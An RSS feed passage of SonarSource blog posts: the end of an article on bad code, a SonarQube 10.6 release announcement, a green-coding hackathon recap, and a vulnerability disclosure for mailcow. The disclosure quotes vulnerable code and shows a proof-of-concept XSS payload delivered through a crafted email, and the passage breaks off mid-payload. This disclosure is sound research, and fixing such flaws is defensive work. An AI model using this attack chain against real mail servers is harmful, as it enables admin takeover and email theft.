libraries&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These issues hinder software’s readability, maintainability, scalability, and security, making bad code a significant roadblock in development.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;The Origins of Bad Code&lt;/h3&gt;&lt;p&gt;Developers can write bad code for many reasons, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Pressure to meet fast-paced deadlines&lt;/strong&gt;: Pressure to deliver new features and functionality quickly often leads to cutting corners and neglecting best practices.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Inadequate knowledge&lt;/strong&gt;: Developers may need more experience or training to write issue-free code.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Manual issue remediation&lt;/strong&gt;: Without automated tools and embedded guidance, identifying and fixing issues can be inconsistent and error-prone.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Inconsistent coding styles&lt;/strong&gt;: Varied coding practices within a team can result in a codebase that’s difficult to decipher and update efficiently.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Demand outpacing performance&lt;/strong&gt;: The relentless push for new features can lead to rushed and poorly integrated code.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;AI coding assistants&lt;/strong&gt;: While promising efficiency, these tools can introduce buggy and insecure code if not properly managed.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;The Expansive Impact of Bad Code&lt;/h3&gt;&lt;p&gt;The repercussions of bad code are extensive, influencing the entire development lifecycle and, ultimately, the business success of the software:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Reduced maintainability and scalability&lt;/strong&gt;: Bad code is hard to understand and modify, making it difficult to adapt to new business needs or easily incorporate new features.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increased bug count and technical debt&lt;/strong&gt;: Poorly written code is prone to bugs, contributing to technical debt that accumulates over time and requires significant resources.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Decreased productivity and efficiency&lt;/strong&gt;: Developers spend excessive time deciphering and fixing bad code, diverting focus from innovation and new functionality.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increased costs and risks&lt;/strong&gt;: The cumulative impact of bad code results in higher maintenance costs, frequent bug fixes, rework, and increased technical debt. Additionally, it poses risks to software reliability, security, and stability, leading to reputational damage and compliance issues.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;The Financial Toll&lt;/h3&gt;&lt;p&gt;Consider these statistics:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The Consortium for IT Software Quality (CISQ) reported that poor software quality in the U.S. grew to at least &lt;a href=&quot;https://www.it-cisq.org/wp-content/uploads/sites/6/2022/11/CPSQ-Report-Nov-22-2.pdf&quot;&gt;$2.41 trillion&lt;/a&gt; in 2022.&lt;/li&gt;&lt;li&gt;According to the Standish Group&amp;#x27;s CHAOS Report, only &lt;a href=&quot;https://www.csus.edu/indiv/v/velianitis/161/chaosreport.pdf&quot;&gt;31% of software projects&lt;/a&gt; are completed on time and within budget, with bad code being a significant factor.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Mitigating the Impact of Bad Code&lt;/h3&gt;&lt;p&gt;Proactive measures can significantly reduce the negative impact of bad code:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Refactoring&lt;/strong&gt;: Regularly revisit and improve existing code.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Code Reviews&lt;/strong&gt;: Peer reviews to catch issues early and ensure consistency.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Adherence to Coding Standards&lt;/strong&gt;: Following industry best practices and maintaining uniform coding styles.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Automated Testing&lt;/strong&gt;: Utilizing tools to detect and fix issues early in development.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Continuous Learning and Training&lt;/strong&gt;: Ensuring developers are up-to-date with the latest coding techniques and practices.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Striving for Excellence&lt;/h3&gt;&lt;p&gt;While perfection can be the enemy of progress in software development, you can commit to continuously improving the quality and security of your codebase through Clean Code practices. It requires diligence, collaboration, and a commitment to continuous improvement. Recognizing the existence of bad code and implementing proactive strategies to mitigate its effects allows developers to steer software toward success.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Ultimately, the beauty of code lies not only in its functionality but also in its elegance and maintainability. By striving for high standards, organizations can significantly reduce the costs and risks associated with bad code, paving the way for more robust and reliable software solutions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 10.6 Release Announcement]]></title><description><![CDATA[The 10.6 release of SonarQube includes some significant changes, such as autoscaling in Kubernetes,  AutoConfig for C and C++ projects, support for running in a FIPS-enforced environment, set rule priority to uphold your coding standards, easy setup of monorepos, monitoring the time it takes to upgrade, and expanded library coverage for AI/ML developers. 
]]></description><link>https://www.sonarsource.com/blog/sonarqube-10-6-release-announcement</link><guid isPermaLink="false">a9ffa04f-551d-5021-bc79-bf2216626e4e</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Tue, 25 Jun 2024 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are thrilled to announce the 10.6 release of SonarQube including some significant changes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarQube autoscaling in Kubernetes&lt;/li&gt;&lt;li&gt;AutoConfig for C and C++ projects even for unsupported compilers&lt;/li&gt;&lt;li&gt;SonarQube runs in a FIPS-enforced environment&lt;/li&gt;&lt;li&gt;Set rule priority to prevent the release of substandard code&lt;/li&gt;&lt;li&gt;Easy setup of monorepos for all DevOps platforms&lt;/li&gt;&lt;li&gt;Monitor upgrade time and progress during upgrades&lt;/li&gt;&lt;li&gt;Added support for Scikit-learn library in Python for AI / Machine Learning practitioners&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Read on to find out more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;SonarQube Autoscaling in a Kubernetes Cluster&lt;/h2&gt;&lt;p&gt;When operating SonarQube Data Center Edition in a Kubernetes cluster, app nodes will now autoscale based on load. SonarQube supports Kubernetes Horizontal Pod Autoscaling (HPA) of app pods when running in a cluster. This will ensure developers never wait for an analysis to complete due to resource limitations. Additionally, because app pods are autoscaled in and out based on demand, the resources needed to run SonarQube are optimized for cost savings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Introducing AutoConfig for C and C++ Projects&lt;/h2&gt;&lt;p&gt;Are you frustrated with how complicated it is to set up C or C++ projects in static code analyzers? There are numerous compilers and build environments, some supported by SonarQube while others are not, like the Green Hills compiler or distributed build systems. In SonarQube 10.6, we’re excited to announce that we’ve released AutoConfig for C and C++ projects. This means you are no longer required to use Build Wrapper or Compilation Database to scan your projects. We’ve eliminated the complexity of project setup, and now SonarQube will automatically work with most compilers and build configurations, even previously unsupported ones. This dramatically reduces the time needed to get started with scanning your C and C++ projects and leads to successful analysis, even for complex projects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;SonarQube Runs in a FIPS-enforced Environment&lt;/h2&gt;&lt;p&gt;Government agencies and organizations can comply with  FIPS requirements by running the SonarQube server in a FIPS-enforced environment. Running the SonarQube server in a FIPS environment guarantees that the cryptographic algorithms used for encryption, decryption, and digital signatures are approved by the National Institute of Standards and Technology (NIST).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Easier Operations &lt;/h2&gt;&lt;p&gt;We finished the easy setup of monorepos for Azure DevOps and Bitbucket in 10.6, completing our release of simplified setup for monorepos on all four supported DevOps platforms. Additionally, when performing an upgrade, SonarQube will predict the time it takes to complete the upgrade and show you the time remaining during the upgrade. This allows you to schedule the upgrade in a more opportune window so there is less impact on your teams.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Set Rule Priority to Uphold Your Coding Standards&lt;/h2&gt;&lt;p&gt;In SonarQube 10.6, you can now configure the priority of rules that block your release to prevent substandard code from being released based on your coding standards. This ensures that your teams are following your company’s policy for Clean Code when those policies are more strict than Sonar’s recommended standards.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;More AI Libraries in Python&lt;/h2&gt;&lt;p&gt;We’re also thrilled to announce the addition of rules for TensorFlow and Scikit-learn libraries in Python. This expands our support of AI libraries for Machine Learning practitioners to four libraries, including TensorFlow, NumPy, and Pandas.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are a ton more exciting and powerful features in SonarQube 10.6! Find out more in the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-6/&quot;&gt;10.6 release announcement&lt;/a&gt; and our &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/setup-and-upgrade/release-notes/&quot;&gt;10.6 release notes&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;Are you still using an older version of SonarQube?&lt;/h4&gt;&lt;p&gt;If you’re on a version older than 9.9, upgrade to SonarQube 9.9 LTA before upgrading to 10.6. Check out this helpful &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;checklist&lt;/a&gt; for a smoother upgrade. Watch the &lt;a href=&quot;https://www.sonarsource.com/resources/webinars/ace-your-sonarqube-upgrade/&quot;&gt;on-demand LTA upgrade webinar&lt;/a&gt;, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Green Coding with Clean Code - A Recap of ecoCode Challenge Paris 2024]]></title><description><![CDATA[ecoCode Challenge Paris represents an opportunity to unite innovation and sustainable coding. As a proud sponsor, we are excited to see how SonarQube is empowering developers to prioritize environmental sustainability in their projects.
]]></description><link>https://www.sonarsource.com/blog/green-coding-with-clean-code-a-recap-of-ecocode-challenge-paris-2024</link><guid isPermaLink="false">93bad237-7203-5fed-881b-38397b6f062f</guid><dc:creator><![CDATA[Fabrice Bellingard]]></dc:creator><pubDate>Thu, 20 Jun 2024 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The State of Climate Change - Today&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In an era marked by unprecedented technological advancements, we continue to face the rapidly developing consequences of climate change. &lt;a href=&quot;http://climate.org&quot;&gt;Climate.org&lt;/a&gt; recently reported that “2023 was the warmest year since global records began in 1850 by a wide margin”, bringing record-breaking heatwaves across the globe. The urgency to address environmental sustainability has never been more pressing. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Amidst this backdrop, the developer community stands at a pivotal juncture. While technology has undoubtedly transformed our lives for the better, it also bears a responsibility to mitigate its environmental footprint and contribute to sustainable practices.&lt;/p&gt;&lt;h2&gt;What is Green Coding? &lt;/h2&gt;&lt;p&gt;Green Coding is a software engineering practice that aims to reduce the environmental impact of code by reducing its energy consumption. To achieve this, developers must avoid what some people call “Green Code smells”, which are poor design or implementation choices that affect the program&amp;#x27;s carbon footprint. &lt;br/&gt;&lt;br/&gt;This &lt;a href=&quot;https://greensoftware.foundation/articles/green-coding-is-a-matter-of-code-quality&quot;&gt;Green Software Foundation article&lt;/a&gt; by Olivier Le Goaer, Co-Founder of ecoCode, highlights how green coding is a matter of code quality, emphasizing how static code analysis tools like SonarQube help developers detect green code smells in an automated way. And we cannot agree more: green code smells are effectively &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;Clean Code&lt;/a&gt; issues!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Green Coding with Clean Code - ecoCode Challenge Paris &lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, we recognize the need to integrate sustainability into the fabric of technological innovation. As a proud sponsor of the &lt;a href=&quot;https://challenge.ecocode.io/&quot;&gt;ecoCode Challenge Paris&lt;/a&gt;, a hackathon for the &lt;a href=&quot;https://github.com/green-code-initiative/ecoCode&quot;&gt;ecoCode&lt;/a&gt; open-source project that aims at reducing the carbon footprint of digital services, we are excited to see how &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; is empowering developers to prioritize environmental sustainability in their projects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I had the pleasure of attending this year’s ecoCode Challenge in Paris as a speaker, along with my colleague Geoffray Adde who supported the teams as a coach. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/71eef862-ee85-41be-9d46-6d04d6c48a03/Screenshot%202024-06-13%20at%209.34.16%E2%80%AFAM.png&quot; /&gt;&lt;p&gt;(Pictured: Fabrice Bellingard, VP of Products, presenting: “Open Source: The Enfine of Collective Intelligence for a Brighter Future)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Hosted by &lt;a href=&quot;https://www.credit-agricole.com/en&quot;&gt;Groupe Crédit Agricole&lt;/a&gt;, 120 developers participated in a 2-day hackathon with the goal of reducing the carbon footprint of digital services through the definition, implementation, and validation of SonarQube rules that identify green code smells.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Supported by 30 coaches and 50 partners across 3 challenges (spotters/builders/checkers), the halls were lit up with the shared goal of contributing to and thinking collectively about green coding around the ecoCode solution. What a wonderful endeavor!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After 48 hours of work and thousands of lines of code, the 120 participants were judged on the quality of their renderings, the presentation of their work and also on criteria such as teamwork. Congratulations to the winning teams Nobium, Checker Lithium, Builder Neodymium, and Dashboard Germanium.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cbb3e42b-5abc-4da1-9a55-11d806df1328/ecocode%202024.jpeg&quot; /&gt;&lt;p&gt;(Pictured: The participants, coaches, and partners that contributed to ecoCod Challenge Paris 2024 )&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;ecoCode Challenge Paris represents an opportunity to unite innovation and sustainable coding. By leveraging SonarQube and fostering collective intelligence, we can drive meaningful progress towards a greener, more sustainable future. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Harnessing Sustainable Code Quality for a Greener Future&lt;/h2&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Driven by efforts like ecoCode Challenge and our own passionate developers, we’re excited to share that our Clean Code solutions - SonarQube, SonarLint, and SonarCloud - will introduce functionalities that prioritize environmental sustainability in software development. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ll share some exciting updates in the near future - Follow us on social media to stay updated! &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/SonarSource&quot;&gt;Twitter/X&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCS5-gTYteN9rnFd98YxYtrA&quot;&gt;YouTube&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.tiktok.com/@sonarsource&quot;&gt;TikTok&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/company/sonarsource/&quot;&gt;LinkedIn&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;SonarResearch on Twitter/X&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Re-moo-te Code Execution in Mailcow: Always Sanitize Error Messages]]></title><description><![CDATA[Our research team discovered two vulnerabilities in mailcow, an email server solution. Attackers could compromise an instance, impersonate users, and steal emails.]]></description><link>https://www.sonarsource.com/blog/remote-code-execution-in-mailcow-always-sanitize-error-messages</link><guid isPermaLink="false">890f4078-0222-53f1-b7b8-fc90b5b6b4f0</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Mon, 17 Jun 2024 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mailcow is an easy-to-use email solution that can be set up in minutes. It features SMTP, IMAP, and POP3 servers, a webmail client, an admin panel, and more. All of its components are open-source and some are written in PHP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While scanning mailcow&amp;#x27;s code base, &lt;a href=&quot;https://sonarcloud.io/project/issues?open=AZAH6aEtnR0c9UoLDzir&amp;id=SonarSourceResearch_mailcow-blogpost&quot;&gt;SonarCloud found a Path Traversal vulnerability&lt;/a&gt; which looked like it could lead to Remote Code Execution. We then started investigating the code manually, confirmed the issue, and found an additional Cross-Site Scripting (XSS) flaw. Both vulnerabilities can be combined to take over a mailcow instance with a single email viewed by an admin.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we will cover the code intricacies that led to the vulnerabilities. We will first go over the details of the XSS vulnerability and then explore the Path Traversal flaw. We will also cover how the mailcow maintainers have tackled these issues and give advice on how to avoid such vulnerabilities in your code.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The vulnerabilities we found and reported are tracked as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-31204&quot;&gt;CVE-2024-31204&lt;/a&gt; (XSS) and &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-30270&quot;&gt;CVE-2024-30270&lt;/a&gt; (Path Traversal). They have been fixed in mailcow 2024-04 and seem to have existed for at least three years.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can combine both vulnerabilities to execute arbitrary code on the admin panel server of a vulnerable mailcow instance. The requirement for this is that an admin user views a malicious email while being logged into the admin panel. The victim does not have to click a link inside the email or perform any other interaction with the email itself, they only have to continue using the admin panel after viewing the email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following video demonstrates the flow of an attack on our test instance:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/Fb7dK6OZ0eI&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;The journey of these vulnerabilities begins in the code of mailcow&amp;#x27;s admin panel. It is written in PHP and has, among others, an API endpoint that is implemented in &lt;code&gt;json_api.php&lt;/code&gt;. To capture API errors and show them to the user, mailcow registers a custom exception handler:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/mailcow/mailcow-dockerized/blob/2024-02/data/web/inc/prerequisites.inc.php#L147-L167&quot;&gt;data/web/inc/prerequisites.inc.php&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;function exception_handler($e) {
    if ($e instanceof PDOException) {
      // ...
    }
    else {
      $_SESSION[&apos;return&apos;][] = array(
        &apos;type&apos; =&gt; &apos;danger&apos;,
        &apos;log&apos; =&gt; array(__FUNCTION__),
        &apos;msg&apos; =&gt; &apos;An unknown error occured: &apos; . print_r($e, true)
      );
      return false;
    }
}
if(!$DEV_MODE) {
  set_exception_handler(&apos;exception_handler&apos;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This handler saves exception details in the session&amp;#x27;s &lt;code&gt;return&lt;/code&gt; array. From there, they are processed and passed on to the base template when the UI is rendered the next time:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/mailcow/mailcow-dockerized/blob/2024-02/data/web/inc/footer.inc.php#L11-L24&quot;&gt;data/web/inc/footer.inc.php&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$alertbox_log_parser = alertbox_log_parser($_SESSION);
$alerts = [];
if (is_array($alertbox_log_parser)) {
  foreach ($alertbox_log_parser as $log) {
    $message = strtr($log[&apos;msg&apos;], [&quot;\n&quot; =&gt; &apos;&apos;, &quot;\r&quot; =&gt; &apos;&apos;, &quot;\t&quot; =&gt; &apos;&lt;br&gt;&apos;]);
    $alerts[trim($log[&apos;type&apos;], &apos;&quot;&apos;)][] = trim($message, &apos;&quot;&apos;);
  }
  $alert = array_filter(array_unique($alerts));
  foreach($alert as $alert_type =&gt; $alert_msg) {
    // html breaks from mysql alerts, replace ` with &apos;
    $alerts[$alert_type] = implode(&apos;&lt;hr class=&quot;alert-hr&quot;&gt;&apos;, str_replace(&quot;`&quot;, &quot;&apos;&quot;, $alert_msg));
  }
  unset($_SESSION[&apos;return&apos;]);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The base template takes them and inserts the data into JavaScript function calls inside of an inline script block:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/mailcow/mailcow-dockerized/blob/2024-02/data/web/templates/base.twig#L211-L213&quot;&gt;data/web/templates/base.twig&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{% for alert_type, alert_msg in alerts %}
    mailcow_alert_box(&apos;{{ alert_msg|raw|e(&quot;js&quot;) }}&apos;, &apos;{{ alert_type }}&apos;);
{% endfor %}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;Finally, when the page is rendered in the browser, mailcow&amp;#x27;s JavaScript renders an alert box for each error using a jQuery-based notification library:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/mailcow/mailcow-dockerized/blob/2024-02/data/web/js/build/013-mailcow.js#L13-L23&quot;&gt;data/web/js/build/013-mailcow.js&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;window.mailcow_alert_box = function(message, type) {
  msg = $(&apos;&lt;span/&gt;&apos;).text(message).text();
  if (type == &apos;danger&apos; || type == &apos;info&apos;) {
    auto_hide = 0;
    $(&apos;#&apos; + localStorage.getItem(&quot;add_modal&quot;)).modal(&apos;show&apos;);
    localStorage.removeItem(&quot;add_modal&quot;);
  } else {
    auto_hide = 5000;
  }
  $.notify({message: msg},{z_index: 20000, delay: auto_hide, type: type,placement: {from: &quot;bottom&quot;,align: &quot;right&quot;},animate: {enter: &apos;animated fadeInUp&apos;,exit: &apos;animated fadeOutDown&apos;}});
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;And the result looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/463b9b35-bd11-4217-a231-55cab7f0b0d4/mailcow-error-wholepage.png&quot; /&gt;&lt;p&gt;Did you spot the vulnerability?&lt;/p&gt;&lt;h3&gt;CVE-2024-31204: XSS in the Admin Panel&lt;/h3&gt;&lt;p&gt;If you guessed that an attacker could directly insert malicious JavaScript into the inline script block in the &lt;code&gt;base.twig&lt;/code&gt; template, then you&amp;#x27;re wrong. It&amp;#x27;s a good idea, but Twig&amp;#x27;s escaping properly handles all characters so it&amp;#x27;s not possible to leave the string context.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The correct answer is that the jQuery-based notification library does not escape HTML entities, causing a Cross-Site Scripting (XSS) vulnerability when attackers can control an exception that is being raised. This is given away by the fact that there were raw &lt;code&gt;&amp;lt;hr&amp;gt;&lt;/code&gt; elements added in &lt;code&gt;footer.inc.php&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But is this just a functional bug, or an exploitable security vulnerability? Can an attacker control the content of an exception and inject a malicious JavaScript payload? The answer is yes! Let&amp;#x27;s see how that can happen.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the exception handler uses &lt;code&gt;print_r()&lt;/code&gt; to convert the exception to a string, we can see that not only the error&amp;#x27;s location and error message are included, but also the arguments to functions in the call stack! This happens because the &lt;a href=&quot;https://www.php.net/manual/en/ini.core.php#ini.zend.exception-ignore-args&quot;&gt;&lt;code&gt;zend.exception_ignore_args&lt;/code&gt;&lt;/a&gt; configuration directive is set to &lt;em&gt;Off&lt;/em&gt; in mailcow&amp;#x27;s PHP container, which inherits the setting from the official PHP-FPM Docker image. The resulting string representation looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/88da3c3f-30fc-45b8-8904-ce206623a5f6/mailcow-error-closeup.png&quot; /&gt;&lt;h3&gt;Controlled Arguments&lt;/h3&gt;&lt;p&gt;There are plenty of locations where an attacker can control arguments to functions, so now all they need is a function that reliably errors on a certain input. One great example is &lt;code&gt;explode()&lt;/code&gt; which is used very early in the API handler script:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/mailcow/mailcow-dockerized/blob/2024-02/data/web/json_api.php#L50-L56&quot;&gt;data/web/json_api.php&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (isset($_GET[&apos;query&apos;])) {
  $query = explode(&apos;/&apos;, $_GET[&apos;query&apos;]);
  $action =     (isset($query[0])) ? $query[0] : null;
  $category =   (isset($query[1])) ? $query[1] : null;
  $object =     (isset($query[2])) ? $query[2] : null;
  $extra =      (isset($query[3])) ? $query[3] : null;
  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;explode()&lt;/code&gt; function expects two strings, and the second one is provided from a query parameter (&lt;code&gt;$_GET[&amp;#x27;query&amp;#x27;]&lt;/code&gt;). So when does this function error? If it receives an argument with the wrong type!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since PHP performs &lt;a href=&quot;https://stackoverflow.com/a/9547490&quot;&gt;&amp;quot;extended&amp;quot; query parameter parsing&lt;/a&gt;, it is possible to make &lt;code&gt;$_GET[&amp;#x27;query&amp;#x27;]&lt;/code&gt; an array: &lt;code&gt;json_api.php?query[]=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In such a case, the output of &lt;code&gt;print_r($exception)&lt;/code&gt; will look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;An unknown error occured: TypeError Object(
   [message:protected] =&gt; explode(): Argument #($string) must be of type string, array given
    [string:Error:private] =&gt; 
    [code:protected] =&gt; 0
    [file:protected] =&gt; /web/json_api.php
    [line:protected] =&gt; 52
    [trace:Error:private] =&gt; Array(
        [0] =&gt; Array(
            [file] =&gt; /web/json_api.php
            [line] =&gt; 52
            [function] =&gt; explode
            [args] =&gt; Array(
                [0] =&gt; /
                [1] =&gt; Array(
                    [0] =&gt; &lt;script&gt;alert(1)&lt;script&gt;
                )
            )
        )
    )
    [previous:Error:private] =&gt;
)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;As we can see, the attacker-controlled string from the &lt;code&gt;query&lt;/code&gt; parameter is included as-is and will be rendered in the victim&amp;#x27;s session the next time they load a page.&lt;/p&gt;&lt;p&gt;But how can the attacker control this query parameter in a victim&amp;#x27;s session? If they just send the link, the victim might get suspicious by the weird API response, or not even click. A more convenient way for the attacker is to do it via email! Since mailcow comes with a webmail client, this is an interesting option.&lt;/p&gt;&lt;h3&gt;A Malicious Email&lt;/h3&gt;&lt;p&gt;The admin panel and the webmail client live under different paths on the same host (&lt;code&gt;/&lt;/code&gt; and &lt;code&gt;/SOGo/&lt;/code&gt; respectively). This means that they share all the cookies but also that many web isolation mechanisms, such as CORS or cookie SameSite attributes, no longer apply.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7b133f4b-bb20-456d-a04d-c4ab4297a7af/mailcow-same-origin.png&quot; /&gt;&lt;p&gt;An attacker can craft an HTML email that contains a CSS background image which is loaded from a remote URL. When that URL points to the API endpoint, it can contain an XSS payload in the &lt;code&gt;query&lt;/code&gt; parameter:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div id=a&gt;
  &lt;a href=&quot;https://mail.mailcow.example/debug&quot;&gt;Read important admin message here.&lt;/a&gt;
&lt;/div&gt;
&lt;style&gt;
  #a { background: url(&quot;/json_api.php?query[]=%3Cscript%3Ealert(1)%3C%2Fscript%3E&apos;) }
